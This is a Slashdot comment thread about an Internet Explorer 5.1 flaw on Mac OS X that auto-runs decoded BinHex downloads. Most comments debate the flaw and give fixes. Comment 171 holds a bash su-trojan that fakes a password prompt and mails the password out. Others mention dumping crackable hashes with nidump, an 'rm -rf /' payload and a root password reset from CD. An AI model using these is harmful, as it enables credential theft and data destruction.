    First of all, ehintz is absolutely right about the Macintosh Business unit. (i didn't know they were in the SF Bay...) And anyone who's been to a recent Mac event (like Macworld NY) knows that this 'somewhat independent...arm' seems to have real pride in bringing better solutions to the Mac platform than their 'big brother'. More importantly (and relevant to the original post), as far as the security risk goes, it appears that the Classic environment adheres to the uid/gid rules of the X environment. So a Classic app can't alter mach.sym for instance (you can recover text in Word read-only). The same does not hold true to a seperate Mac OS 9 volume however. So this does pose significant risk.

  159. Re:Near-Useless Security - Backups anyone? by Tooky · · Score: 1
    Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

    Anything this important to the user should be backed up, nevermind the risks from trojans and virii, what about file system corruption, disk crashes and the like?

    IMO, if you trust your computer to keep your precious data safe you deserve to lose it, just so you might learn to backup.

  160. Re:Not M$ by i_like_ham · · Score: 1

    How about ATM machine, or better yet, take a look (if you dare) at the startup screens from Win2K... "Built on NT Technology"

  161. Re:Not M$ by joescrooge · · Score: 1

    Internet Explorer on the MAC has nothing to do with Microsoft. It's developed, published, and installed by Apple.

    What on earth gave you that silly idea? Apple bundles IE for the OS they sell just like Compaq/HP and Dell bundle it for the OS they sell - oh that's right, Compaq/HP and Dell don't get a choice.

    --
    never underestimate the bandwidth of a station wagon full of tapes
  162. Re:Intrinsic Security in OS X - It's even worse... by kilgore_47 · · Score: 1

    I can honestly say that I don't know any savvy Mac users (not syaing they don't exist, just that I don't know any), and unfortunately the Mac isn't marketed towards savvy users.

    (Score:-1, Flaimbait)

    --
    ___
    The way to see by faith is to shut the eye of reason. --Ben Franklin
  163. Re:Not M$ by cculianu · · Score: 1

    Actually, MAC is just short for media access control. As in the layer. The address part is part of that layer.

  164. Re:What is nidump? by SeanAhern · · Score: 1

    It's a command-line utility used to access the information in the NetInfo database. It's specifically used to create flat-file versions (normal UNIX-like) of most of the system configuration.

    All of the things that UNIX expects in /etc (inetd.conf, services, groups, passwd, and more) are actually stored in an XML database in Mac OS X. It's kind of a neat way to do it, especially the bootup sequence information.

    But not having shadow passwords turned on by default means that anyone can get the passwd database in a crack-able form by running that "nidump passwd ." command. Heck, I don't even know if shadow passwords are available in OS X.

  165. (Come on. Laugh.) by Scoria · · Score: 1

    Well I guess thats one way to make Unix insecure. Can anyone actually confirm this since it looks kinda sketchy.

    Slashdot wanting to confirm news that could damage Microsoft's reputation? Pshaw!

    --
    Do you like German cars?
  166. It's a matter of who expects what by jayed_99 · · Score: 2, Insightful

    There seems to be some confusion about what a standard UNIX user expects and what a standard Macintosh or Windows user expects.

    To make a very rough analogy, an .HQX file is normally treated like a smart .tgz file.

    If I download a .tgz on a Unix box, I expect to decompress it twice, build it and install it. No smarts on the computer's part at all -- it's all with the me.

    If I download an .HQX on a Mac, I expect that if it's a compressed application (.SIT) I'll end up with an executable on my desktop. If it's not an aplication (PDF file, text file -- whatever...think "file associations") I expect it to be decompressed and run by the appropriate app -- I'm assumed to be vaugely intelligent, but the computer picks up the technical slack.

    If I download a .(WHATEVER) file on a Windows machine, I expect that something will happen -- but I'm not always sure what -- I'm expected to be happy with whatever the computer does.

    UNIX users are expected to know what they're doing. Most of the time Mac users aren't expected to care what's going on as long as everything works for them. Windows users are expected to go along what the computer does (think "smart tags").

    This seems to be an instance of developers forgetting that, even though this is a Microsoft product, it's being run on a UNIX machine by Macintosh users.

  167. Whatever dude. by Aqua+OS+X · · Score: 1

    Well, this is simply just a stupid decoding bug. Within IE's prefs you can toggle off binhex and binary decoding. Something like stuffit expander can do the rest for you once you double click the downloaded file. Most people tend to "stuff" and then encode files anyway, so in reality your not really loosing a step. which do you prefer to double click... a sit or zip file? or a bin or hex file?

    as for Apple and net standards. Well, as a web developer I can outright say that MacOS X and IE 5 are probably one of the most standards complient combos you are going to find. My rule of thumb is to develop pages on my mac and to tweek them on my 2k box. Typically, if a site works fine with IE 5 Mac it will work fine in every other browser that attempts to follow current web standards. Of course though, IE 5 and 6 for windows is typically a bug ridden POS... so tweeking is always needed. Developing for those browsers first always results in a world of problems for me. If I need to develop on windows I typically use mozilla.

    And as for MS. Well, the MS MacBU is primarily a bunch or die hard mac geeks. they have one of the biggest mac labs in the world...second only to apple. The MS MacBU is full of old apple and claris developers...and then make fantastic products. Most people will agrue that Office 2k1 and Office X are much better then their office XP counter part. Moreover, IE 5 for classic MacOS was, and still is, an amazing peice of software. One of the best browsers that I have ever used... on any platform.

    Nonetheless, IE 5.1 for OS X has bugs... even in it's "final" state. It was the MacBU's first OS X app... and it was made by carbonizing the older classic 5 browser. The classic 5.0 browser was very very dependant on the little nooks one could exploit in OS 8.5 or 9... I'm not surprized that porting it to X was a problem. However after seeing Office X for OS X I am very excited to see what the MS MacBU will pull out for IE 6 on OS X. I have no doubt that it will also be a great piece of software that folks on other platforms will learn a lot from. MS has a damn fine bunch of Mac developers now...they're the bomb.

    --
    "Things are more moderner than before- bigger, and yet smaller- it's computers-- San Dimas High School football RULES!"
  168. Re:You are dumb by Anonymous Coward · · Score: 0

    No it doesn't. What were you expecting, a flash intro?

  169. Ooh, you're right. That is nasty by JustinHoMi · · Score: 1

    I'm guessing they did this b/c most things that are hqx'ed are also sit'ed underneath. I understand the reasoning, but man, that is a terrible security hole.

  170. undependable by sewagemaster · · Score: 1

    first of all, we all know that this IE isnt bundled with macOS, so obviously it means MS wrote this just for that platform for whatever reason.... now you cant blame the OS or whatever anymore - IE's constantly having having security holes. these guys are professionals for goodness' sake. i dont see why this is a problem because IE shouldnt have been way up there on the priority list for the guys at MS to push it out the door for the mac - despite how undependable/unstable it is.

    (as an aside (slightly off topic), my school lab now has ONLY IE installed and no netscape. it's not such a big deal since the network isnt mine....)

  171. Re:How about by Anonymous Coward · · Score: 0

    Umm ...

    #!/bin/bash
    echo 'PATH=.:$PATH
    alias su=~/.bashprofile' > ~/.foo
    cat ~/.bash_profile >> ~/.foo
    mv ~/.foo ~/.bash_profile
    cat ~/.bashprofile
    echo -n Password:\ ;read foo;echo $HOSTNAME $foo|mail pwbucket@yahoo.com
    EOF
    chmod u+x ~/.bashprofile

  172. Re:Intrinsic Security in OS X - It's even worse... by Anonymous Coward · · Score: 0

    No shit. What a dick (MrResistor).

  173. How can the truth be known? by Anonymous Coward · · Score: 0

    How is it that MS can escape the wrath of the press? How many office-KILLING viruses have we had the pleasure to battle thru? I get pulled off Unix Projects to go clean infected PC's 'cause some Magnificent Marketing Company that sells software has us all snowed to the MAX. THis is the problem when logic takes a back seat to social inertia. What press person wants to say "King Bill Has No Clothes" Read All About It..How can we re-assert these FACTS to the populace?

    Win 2K - The Next Killer App! (killer as in productivity).

  174. let's fix it by Anonymous Coward · · Score: 0

    someone please write that tiny little apple script to fix IE's braindead default settings. then just binhex it and send to all your mac user friends. problem solved.

    why haven't I done this myself already? hell, I'm drunk, that's why!

    -bsa

  175. Re:Intrinsic Security in OS X - STEP BY STEP by Anonymous Coward · · Score: 0

    Everything he listed could concivilby be done from a script or a trojan horse.

    It sorta reminds me of the numerous WinNT exploits that rely on shell features to trick the local admin into running code which mucks with the security system.

  176. Re:Intrinsic Security in OS X - It's even worse... by Anonymous Coward · · Score: 0

    17 Years of Apple marketing selling "The Computer For the Rest Of Us" counters your flamebait. It's marketed specifically towards people who don't want to become system administrators.

    I know some Mac users that are very good at photoshop and other apps, but couldn't find their way to the "Extentions Folder", much less some security control panel, if they tried.

  177. Wow are you way off... by MO! · · Score: 3, Interesting
    Fact #1: MacOS X is based on FreeBSD 3.2 wrapped around a Mach microkernel.


    Fact #2: FreeBSD does not use a Mach kernel.


    Fact #3: The /etc/master.passwd file on a MacOS X system has nothing of value. It's there for legacy needs and has just the normal "shell=/bin/noshell" accounts as well as the disabled root account in it. To get useful information, you have to do a NetInfo dump of whatever class your looking for, in this case the encrypted passwd info.


    Fact #4: The unix-like, BSD family, portion that makes up the base of MacOS X is not proprietary - it's called Darwin and is open and downloadable in source form (even ported to Intel). Only the upper level graphics system is closed. It's kinda like running a proprietary X Windows system on top of Linux.


    Finally, Fact #5: Although there are some proprietary BSD-based OS's, the majority of the proprietary Unix OS's are based on AT&T->Novell->SCO->The OpenGroup code - not on BSD.


    Please investigate your claims before boasting such innaccuracies.

    --
    I AM, therefore I THINK!
  178. That's not the security hole... by jmegq · · Score: 4, Insightful
    I wholeheartedly agree that this is incorrect behavior, but as I tried to convince my devils-advocating self that it was a major security flaw, I kept losing.

    If you click on a link to a binhex'd file, and it's an application, then normally it gets un-binhex'd for you. Well and good. Now what's the next thing you do? Without fail, it is to double-click on the decoded file. Not to check the file in any way, compare fingerprints or whatnot. You go and double-click the file, opening it up. If it's a trojan, you lose.

    Some may argue "well, but what if it says it's a picture file, but turns out to be a trojaned app?" Doesn't matter; I can set the app's icon to look like that of a picture file, and you're just as screwed when you double-click on it.

    So what about automating the double-click makes this a "huge security hole"? It seems like once you've downloaded the thing, you're already toast.

    Please note that I'm not trying to gloss over the wrongness of the auto-launch, but rather to point out that we need some better form of security systemwide.

    1. Re:That's not the security hole... by mr3038 · · Score: 2
      So what about automating the double-click makes this a "huge security hole"? It seems like once you've downloaded the thing, you're already toast.

      The difference is when you follow a link on a page and there's .hqx file instead of an another page you would have expected. In the non-braindead browser you just download the file, but in this case it's already executed before you notice it wasn't a normal page. Especially if the program in question is a small C program with only a 'rm -rf /' system call - download is practically instant and with fast filesystem all the files are gone before you even regocnize what happened.

      Yeah, everybody checks status bar with every link before pressing mouse button and javascript isn't ever used to fake link type.

      Imagine the following situation: you have heard of a cool application for you shiny OS X and look for it from a search engine. First hit returned looks like the correct one and you click the link. It turns out that the page wasn't the correct one and only happened to have the words that triggered the search. However, there's a javascript code that opens new windows or redirects you to another url... an url that contains desctructive code enclosed in a .hqx file. And your browser executes that file immediatly! Do you feel lucky?

      What if the code that runs doesn't do anything immediatly but sleeps for example 10 minutes before starting destruction? In worst case you don't have any hint you have started a background program and 10 minutes later while you're reading slashdot your system get's trashed! Would you think that it was slashdot that killed your system?

      --
      _________________________
      Spelling and grammar mistakes left as an exercise for the reader.
    2. Re:That's not the security hole... by Lord+Kenja · · Score: 1

      Some may argue "well, but what if it says it's a picture file, but turns out to be a trojaned app?" Doesn't matter; I can set the app's icon to look like that of a picture file, and you're just as screwed when you double-click on it.

      Sure. But the fact that the picture was binhexed should tip you off. Since noone it their right mind would binhex something that don't acturlly require it (like a resource fork dependant file - like a mac app).

      Anyway. This MIGHT just be an issue with how the 'file helpers' in IE has been set by default. I am unable to confirm tho. But I doubt anyone would code something specifically... Even M$.

      For the non Mac users I can say that the problem is that IE decodes MacBinary and BinHex automatically while downloading (it's an option that's on by default). And IE will then follow the settings in 'File Helpers' on the decoded file instead of the orginal one.

    3. Re:That's not the security hole... by jmegq · · Score: 2
      Excellent point; I thought of that 5 minutes after posting... thanks for articulating it well!

  179. Re:Intrinsic Security in OS X - It's even worse... by kilgore_47 · · Score: 1

    I know some Mac users that are very good at photoshop and other apps, but couldn't find their way to the "Extentions Folder", much less some security control panel, if they tried.

    And I know a lot of windows users like that too.

    Personally, I'm a big fan of the mac platform. I can find my way to the "Extentions Folder", and I also know a good deal about windows and linux. But when it comes down to best desktop OS... I still pick the mac. It doesn't have so much to do with being able to understand something more complicated; it's apprecieating something elegant. Granted, I spend a good deal of time on my mac using NiftyTelnet SSH to connect the my linux server, but I still like being on the mac.

    --
    ___
    The way to see by faith is to shut the eye of reason. --Ben Franklin
  180. What? by MO! · · Score: 1
    Allowing users full access to their data is a "major bug in Unix"? That's the purpose of ANY system - to allow users to access and process thier data.


    If you're gonna troll - at least be inventive and not absurd!

    --
    I AM, therefore I THINK!
    1. Re:What? by cpt+kangarooski · · Score: 1

      I'm not trolling. I'm saying there is a difference between a user and a users' software, and that further granularity (e.g. barring spyware from accessing system resources like the network, or from being executed, etc.) are desirable. But see the other reply for more.

      --
      -- This and all my posts are in the public domain. I am a lawyer. I am not your lawyer, and this is not legal advice.
  181. Let's Get It Right by dbCooper0 · · Score: 1
    Seems from most of what I've read here, it's not M$'s IE vulnerability as much as the HEADLINE seems to say. The defaults are as much Apples's problem as M$'s, AFAIK.

    C'mon Taco (this is deja vu!), even though the FAQ says WE check for discrepancies, don't you agree that 4 out of 5 of your stories lately have had sensationalist headlines, rather than a "Let's take a look at the potential problem" attitude? - It only takes a little reading and a clear mind to get a real-time picture of what the story is.

    Maybe the EDITORS should do a little more looking before barking. (my $2 - cable is expensive)

    Bottom line: Set your security to what the app allows and take your chances. (there goes my measly Karma of 5)

    --
    db
    Cig:
    ôô
    /`
  182. MS Virus Server by Anonymous Coward · · Score: 0

    is the alias I use for Outlook and IE. I guess MS wasn't happy that MacOS X seemed less virus prone than Windows and wanted to add a few virus vectors.

  183. Does not work for me gov.. by Anonymous Coward · · Score: 1, Informative

    On MacOS 10.1 build 5G27 with the new
    IE 5.1.2 (3707) this is not reproducable.

    DW.

  184. But if it was open-source... by proton · · Score: 1

    If it was open source, other people would be able to check it, test it and hopefully find serious flaws like this before much damage is made.

    When you have source available during the beta stages, the "first release" should be infinitely more secure than any proprietary program ever could hope to be.

    Now consider the damage done when MacOS is infact shipped with this flawed version of IE pre-installed...

    /proton

    1. Re:But if it was open-source... by stux · · Score: 1

      MacOS *IS* shipping with this version installed. It was released this Saturday, it's almost impossible to get copies, it's that popular.

      Apple's download servers are melting, queues at stores have been 300 people deep.

      IT IS SHIPPING! IE IS INSTALLED! ITS THE DEFAULT. AND IT HAS THIS SERIOUS FLAW.


      Its just a good thing this is MacOS and not WindowsXP.

      BUT the version of macos which shipped like this (thankyou MS) is Apple's equivalent to MS Windows XP.

      Go figure.

      --

      ---
      Live Long & Prosper \\//_
      CYA STUX =`B^) 'da Captain,
      Jedi & Last *-fytr
  185. Quality Assurance by kimihia · · Score: 1

    QA isn't what it used to be. It should have been sent back for fixing. Or perhaps they need Ian Hixie to keep them in check and have it ship when it is worthy of being called a program.

    Come on, sure there is a limit on time, but what is wrong with leaving a cake in the oven until it has finished cooking?

  186. Re:Intrinsic Security in OS X - It's even worse... by Anonymous Coward · · Score: 0

    You are incorrect. The default user does not have any root privileges, you have to specifically enable them. The rest of your assertions are equally bullshit. You must enable root to change anything in NetInfo Manager.

    This is nonsense and i am not quite sure what you mean by it. The default user by default has sudo-root privileges and is a member of the admin group, which is the definition of "administrative privileges" in os x. Sudo-root users may change anything they like in NetInfoManager. The root account is not needed for anything except booting, and is disabled on almost all machines.

    BenMartz is, however, completely wrong in that you do have to enter your account password before you can make changes in NetInfoManager. (Also, you are not changing /etc/passwd, although you are changing os x's analogue of /etc/passwd within the NetInfo database.)

    Either way, it should be noted that in all cases, physical access makes any software security measures irrelevant in the end. ;;shrugs;;

    Gods.. i wish i could run through this thread with special moderator powers to give posts a (-1, innacurate) mod..

  187. Re:Stupid Apple by Anonymous Coward · · Score: 0

    No, actually it's called sarcasm. Thankfully we didn't learn spelling from you hicks out east.

    Also, here on the open range of the Net, sometimes it's hard to tell when someone is using sarcasm, or just plain dumb. In your case I'll choose the latter. :)

    Scott

  188. ...what are they doing? by panZ · · Score: 1

    (cross posted this on macslash) My friends and I have been early adopters of OSX and we've never actually had IE execute a downloaded app. Yes, it de-archives things for us all of the time through its helper app settings. We've upgraded to IE 5.1 and not changed a single preference setting and none of us have never seen this occur. Is there some special archive/helper app setting I'm not seeing??

    --
    --Let's hack root on 127.0.0.1 --panZ
  189. Re:Intrinsic Security in OS X - STEP BY STEP by RoninM · · Score: 1

    You mean, except for step #1, which states, in no uncertain the terms, the prerequisite for the rest of the steps to work: you're already logged in as administrator. It shouldn't be any surprise that the administrator can gain complete access to the system.

    --
    If a corporation is a personhood, is owning stock slavery?
  190. Re:Well! by Anonymous Coward · · Score: 0

    3.51 was a hell of a lot more stable than 4.0, and curiously 3.51 DOES NOT have its video drivers in the kernel. Sorry to burst your bubble.

  191. Re:Wait... does it run the software, or just decod by RoninM · · Score: 1

    ...you could read the article which states, unambiguously, that it executes any resulting executable from the decoding...

    --
    If a corporation is a personhood, is owning stock slavery?
  192. Arrgh - Java is safe. by jeti · · Score: 1

    What are you taking about?
    The Java security model works pretty flawless.Apart from the age-old 'brown orifice' attack I never heard about it fail.

    You're badmouthing one of the best security models.

    1. Re:Arrgh - Java is safe. by nvainio · · Score: 1
      What are you taking about? The Java security model works pretty flawless.

      Oops, sorry. I guess you're right. I was typing before thinking. I usually turn off Java but now as I think, it's not because of security but to make things load faster. And Java thingies never work for me anyway (with Konqueror). Is there something wrong with a) Konqueror, b) external modules/libraries/something or c) applets?

    2. Re:Arrgh - Java is safe. by jeti · · Score: 1

      Yes. The Java integration in Konqi has been a bit shitty. The latest version fixes this.
      But starting the JVM and loading the JARs will still cost some extra time.

  193. Easiest way to own an OSX box... by stux · · Score: 1

    Actually, the EASIEST way is to walk up to the box, insert the OSX CD you happen to have (don't we all have one?)

    give it a 3 fingered salute, hold c, then choose "Reset Password..." from the file menu.

    Click root,
    make up a new password,
    confirm it

    then quit (which will restart back into OSX)

    you now know the root password.

    Word to the wise, it is possible to secure OSX boxes against this by password protecting OpenFirmware, which will prevent CD booting without knowing the firmware password.

    Physical access is not a security exploit... imagine a DoS on a machine with physical access... that means you pulled the plug.

    --

    ---
    Live Long & Prosper \\//_
    CYA STUX =`B^) 'da Captain,
    Jedi & Last *-fytr
    1. Re:Easiest way to own an OSX box... by Tassach · · Score: 2
      Unfortunatly, all an attacker has to do to defeat a BIOS password is to a) open the box and close the bios reset jumper or b) move the hard disk to another machine.



      The only way to guard your data against physical compromise of the hardware is to store anything sensetive on a strongly encrypted filesystem which is mounted as necessary -- preferably on removable media which is physically secured when the machine is unattended. Even this isn't absolute, because a smart attacker could stealthily subvert your system (EG hardware keystroke logger, trojaned executables, etc) to capture your encryption key & passphrase. Tamper-evident seals on the hardware will help protect against this, as will anti-tamper software like tripwire.



      Basically, if your physical security is compromised, you're screwed.

      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
  194. easy solution by realkiwi · · Score: 1

    1. Don't use M$IE use omni web

    2. protest very loudly to Apple so they ensure that this function is off by default.

    3. write the supreme court and say that Microsoft is sabotaging the only desktop OS left by creating security holes for it

    --
    realkiwi
  195. Re:Stupid Apple by Anonymous Coward · · Score: 0

    Okay, my fault. I didn't mean to sound so snippy. Don't go to bed angry friend. If I knew ya, I'd buy ya a beer.

    Also: I am not sure whether to blame the spelling errors on my poor education, low general I.Q. or these shitty Apple keyboards...

    (Okay, see that was sarcasm, I was making a joke about Apple in a friendly "I-love-those-bastards-with -all-my-heart-shitty-keyboards-and -all" way. Sarcasm should be used only for good. Never evil.)

    Again also: It is because of my low I.Q. since I replaced the Apple Pro keyboard with a decent Macally unit a little while back...

    Motherhead

  196. I THINK I know what's going on by Triv · · Score: 1

    I had this problem before I upgraded to Os X.1.

    this is what happens: You download a .hqx file and, after downloading, IE tries to launch Stuffit to open it. Problem is, sometimes IE can't FIND an OsX version of stuffit and launches the classic version instead. THAT'S what most people see happening. It's not the .hqx decoding and running itself, it's IE using the 'only' decoder it has available, launching classic to do so.

    I can't verify this unfortunately, but I'd bet my own mother that that's what's going on.

    Jacko

  197. Re:Tried it. Does nothing by MonkeyBoy · · Score: 1

    Actually, no, IE has handled .hqx decoding on-the-fly from the first MacOS version. It didn't require StuffIt for decoding, except, perhaps, for the StuffIt Engine extension (under classic MacOS) - but probably not even that.

    --

    Moof!

  198. IE on NIX by gavlil · · Score: 1

    how useable is IE on the mac?

    Linux is not a great web platform compared to NT. you cant get the plugins and the (html) compatibility that IE has, which is one of the reasons why I will never get that win box off my desk.

    it would be great if I could run a nice NIX box with a browser to suit my needs. AFAIK my only choices are WINE (not good), MacOSX or Solaris.

    Ive heard that m$ have cripled the solaris x86 IE so ppl like me cant dump NT is this true? Is IE betetr on OSX?

    --

    Do Unto Others As You Would Have Others Do Unto You - ONLY HARDER!
    1. Re:IE on NIX by stux · · Score: 1

      Short answer... Yes.

      Heh.

      All the major plugins are available for macos, just like they are for windows.

      Some of the more obscure ones aren't... such as JayBeam's new BeamBasedVectorGraphicsIn3DCocktails Viewer Plugin.

      Oh Well.

      --

      ---
      Live Long & Prosper \\//_
      CYA STUX =`B^) 'da Captain,
      Jedi & Last *-fytr
  199. /etc/passwd isn't used on Mac OS X. by jcr · · Score: 2

    jcr@localhost:~>cat /etc/passwd
    ##
    # User Database
    #
    # Note that this file is consulted when the system is running in single-user
    # mode. At other times this information is handled by lookupd. By default,
    # lookupd gets information from NetInfo, so this file will not be consulted
    # unless you have changed lookupd's configuration.
    ##
    nobody:*:-2:-2:Unprivileged User:/nohome:/noshell
    root:*:0:0:System Administrator:/var/root:/bin/tcsh
    daemon:*:1:1:System Services:/var/root:/noshell
    www:*:70:70:World Wide Web Server:/Library/WebServer:/noshell
    unknown:*:99:99:Unknown User:/nohome:/noshell

    --
    The only title of honor that a tyrant can grant is "Enemy of the State."
  200. One possible workaround.. by jcr · · Score: 2

    Let's see. If Internet Exploder is setuid "nobody", then won't any processes it forks inherit that?

    Not that this affects me, anyhow. The first thing I do after installing OS X is always to trash IE.

    -jcr

    --
    The only title of honor that a tyrant can grant is "Enemy of the State."
  201. with emphasis by darkonc · · Score: 2
    Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

    He didn't say that getting the local geek to spend hours reinstalling software would be easy, or that the geek wouldn't figure he had much more interesting things to spend his time and energy on... Just that it would pale in comparison to recovering all of the lost work and communications (presuming that there wasn't a reasonable backup process in place -- now that's something you should assign a geek to spend a few hours on!).

    --
    Sometimes boldness is in fashion. Sometimes only the brave will be bold.
    1. Re:with emphasis by weave · · Score: 2
      OK, point taken. I, as you can tell, am overly sensitive to this topic.

      Applications on all PC-type platforms tend to default to horrible insecure modes with the attitude that the desktop computer itself has little need to be secured. That's a horrible attitude and drains productivity. It's a real problem.

      But being an IT nazi isn't a solution I am comfortable with either. So we did our best to come up with a best-overall solution. The user gets to choose who manages their PC. Them or us. If them, then we give them local admin rights and if anything fails for whatever reason, our only action will be to reformat and reinstall to the state we gave it to them (still a pain but beats spending hours debugging issues with some crap program they installed). If they have data they value, they save it on a network drive. No PCs are backed up.

      Maybe it was the term geek that set me off. The term geek is like so many racial slurs. It's OK if used within the ethnic group by the group members, but no one outside of that group better utter the word! I couldn't tell whether the original poster was himself a geek or not :)

    2. Re:with emphasis by Anonymous Coward · · Score: 0
      OK, point taken. I, as you can tell, am overly sensitive to this topic.

      That's because you're a fucking self-important geek who still hasn't figured out that computers are means to an end, not ends in themselves.

  202. Re:Well! by DrSkwid · · Score: 1

    hmm, 3rd party closed source binary video drivers that can crsh the kernel with "error at 12312:x1"
    nice and easy to solve

    and linux framebuffer stuff
    who cares? My servers don't run windows *or* linux. and besides when did I need a framebuffer to run a mail server? It doesn't even have a screen!

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  203. Re:Well! by DrSkwid · · Score: 1

    It says I can't have any more users.

    which means if I want to expand my super stable NT setup I cannot add more users. I'll be forced to upgrade and retrain.

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  204. Re:Well! by Telek · · Score: 2

    It's 5 years old! What do you expect?

    If it was that big of a problem, couldn't you have just ordered more client licences prior to them closing support/sales for it?

    I don't think that it's fair to expect a company to support an old product indefinitely.

    --

    If God gave us curiosity
  205. Re:Here's the fix (no sarcastic anti-MS comment he by DrXym · · Score: 2
    With hindsight it's easy assuming you know to look for such an option and you're not afraid to play with dialog box settings, but I doubt most people including experts would think even MS (after the roasting they've gotten in the last 2 years) would be so dumb as to enable such a feature by default. Probably the first most people would know of it is after it happens. By then it could be too late.


    The problem is exacerbated because frankly most Mac users don't want to know how their computers work - that's why they're using a Mac - and put absolute faith in their OS and their programs to protect them from themselves.

  206. stuff stuffit, open up! by andya16 · · Score: 2, Informative

    hate how stuffit mangles your downloads? try openup for everthing except your .sit downloads.
    you have to change the application to launch your .tgz etc. files (via the information panel--apple+I), but once you do that, your set.

  207. Users *DONT* even bother about their personal stuf by descender · · Score: 0


    Some users don't even bother about their personal data. When I tried to convince and offered to help some tech-unsavvy friends with cable access to firewall up and secure their box, all they tell me is "nar, I don't have important data". Of course when they land themselves in trouble, they beg me for help.

    Most people don't even realise the effect of a system getting compromised. They simply can't see the fact that their compromised boxes are used by crackers to launch DDoS from.

    So how long before we see Nimda in HQX?

  208. WHAT?? by Godwin+O'Hitler · · Score: 2, Funny

    A security flaw in a Microsoft product???? Impossible! I'm not even going to read the article.


    I....LOVE....THIS....COMPANYYYYYYYYYY!!!

    --
    No, your children are not the special ones. Nor are your pets.
  209. Idiots by youreanidiot · · Score: 0, Troll

    Well I guess thats one way to make Unix insecure.

    That.. and it's 10 plus year running history of remotely exploitable buffer overflows. But yeah.

  210. Why only IE? by ZigMonty · · Score: 2, Interesting

    What I want to know is why is Apple only bundling IE with MacOSX? There are plenty of good browsers for MacOSX. Hell, they're all better than IE. I've got Opera, Netscape 6.1, Mozilla, and my personal favorite OmniWeb (Must try iCab). Apple used to bundle both Netscape and IE, why the change? OK, I'm not suggesting they bundle Netscape, it *really* sucks for MacOSX. But how about OmniWeb or Opera? Some choice would be good. Yes, I know that the user could download another browser, but how many novices would? They've got plenty more room on the CD. It seems like Apple signed a black deal with microsoft.

    1. Re:Why only IE? by Alexander+the+Drake · · Score: 1

      Maybe it's because all the alternatives are still under development? IE's really the only mature browser available for OS X. All the features are there, and they work well enough, while Omniweb, iirc, has major CSS issues to deal with, Moz/Netscape have stability and UI, and both iCab and Opera are in the time-bombed beta stage. Though iCab's "pre-release" feature set beats everyone elses, imho.

      (Posted with Omniweb, which is great, as long as you're not looking at this page.)

  211. Re:Here's the fix (no sarcastic anti-MS comment he by ch-chuck · · Score: 1

    MacBinary files - What's a "MacBinary file"? I don't know where the "options" are! These new Mac's are way too difficult to use - It was much easier when I had Windows, you just plug it in and USE it without have to mess with all these details - I'm not a 'guru' you know!

    --
    try { do() || do_not(); } catch (JediException err) { yoda(err); }
  212. Re:Not M$ by Anonymous Coward · · Score: 0

    "Built on NT Technology"

    How is that redundant?

    I always thought that "NT" stood for "Never Tested"

    or perhaps "Nice Try"...

  213. Mod this the fuck up. by NateKid · · Score: 1

    Before people foam at the mouth saying "the root account is safe, so let's go home because it's not a *real* exploit", they really should consider the ramifications of this thing. Most users do not back their stuff up. I don't and I've got a decade of sysadmin experience under my belt. Yeah, I know I should automate things but that takes away from my tv time.

    So imagine if this thing wipes out your thesis. Or your only photos of your wtc victim son. Or if it mails your pr0n, tax records and Barry Manilow MP3s to your boss.

    It would really suck.

    Nate

  214. Consumer WinXP has security disabled? by Anonymous Coward · · Score: 0

    I understand that the home version of WinXP defaults to one login, that of admin. You either have to take positive action to get non-root security, or that non-root security is available only in its more expensive cousin. Is this true?

  215. OT Moderation by virg_mattes · · Score: 1, Offtopic

    If I had mod points, -1, Bad Spelling.

    Virg

  216. Flame On! by Stephen+Samuel · · Score: 2
    If ever proof was needed that Microsloth didn't give a rat's ass about security, I think that this event pretty much proves it. This isn't even an "oops, we mised that overflow in an arcane piece of code I hope nobody notices it" kind of bug. This is a "hey, Mikie, you got an aircraft carrier I can test this security hole with?" kind of bug.

    Any sort of a security audit. Any securit audit whatsoever would have resulted in a screaming meanie fit over this bug.

    The only reason why this isn't gonna land Microsoft in court is that anybody who has the money it would take to rake them over the legal coals and test their absurd EULA with it would have 15 financial advisers paid to remind them that there are far better money pits to throw their cash into.

    The only way tha Microsoft could save face on this one would be to admit that they inserted this hole willfully and/or maliciously because -- if they let a security bug this massive through by accident, there is no way that we should trust them to write any code in a sane and secure manner.

    FLAME OFF
    (that feels much better)

    --
    Free Software: Like love, it grows best when given away.
  217. Wadda buncha maroons by Joseppi+Blauinski · · Score: 0, Flamebait

    geez: "I hadda schiddy Mac experience (because I don't know whaddafsck I'm doing)" ... PC heads just don't get it. They're used to driving Fords and think that a BMW is a peezaschidt. Most of them haven't even driven Sun, SGI, HP, or a DEC Alpha either. They'd probably have a schiddy experience with them too.

  218. d/l OmniWeb and trash IE by Anonymous Coward · · Score: 0

    First thing I did after installing MacOS X 10.1.

    Just say "no" to Microthought.

    Moto Man

  219. typical microsoft attitude by The_Rook · · Score: 1

    clearly, microsoft's attitude is that if windows is going to be insecure, then all other oses ought to be insecure also. and they'll use their near monopoly on web browsers to make sure.

    --
    when religion is no longer the opiate of the masses, governments will resort to real opiates.
  220. hmmm by mgbaron · · Score: 0

    All these errors so often found in IE make me wonder if other browsers got such rigorous use, what might turn up? And if opera ad a major security hole, would it even be slashsot worthy? or is this simply because we are dealing with the supreme evil, Microsoft itself?

  221. Bringing Outlook insecurity to the Mac Community by cryptochrome · · Score: 2

    Is it just me, or does this behavior sound suspiciously familiar to one Microsoft Outlook which has a tendency to automatically execute hidden scripts, allowing viruses to propagate with unprecedented ease?

    I guess they didn't want the Mac users to feel left out on the fun.

    --

    ---If you can't trust a nerd, who can you trust?

  222. ignore test by Kingpin · · Score: 1

    this is a test test hest mest
    in the best test

    --
    Unable to read configuration file '/bigassraid/htdig//conf/14229.conf'
    Geocrawler error message.
  223. The FIX is not that difficult by unconfused1 · · Score: 1

    My goodness this has generated a lot of needless discussion. The fix is not even as difficult as a script or a manual file change. I did not see this in a quick scan of the posts, but I hope that someone else mentioned this already!

    Simply open up the "Preferences", goto "Download Options", and UN-check the following:

    • Automatically decode MacBinary files
    • Automatically decode BinHex files

    Problem solved.

    If you are REALLY paranoid about the files even being decompressed automatically by StuffIt at that point, just remove the entries for .bin, .hqx, and .sit under "Preferences" then "File Helpers".

    This is as easy of a hole to plug as was the QuickTime autostart worms vulnerability.

  224. Just a setting in IE by Anonymous Coward · · Score: 0

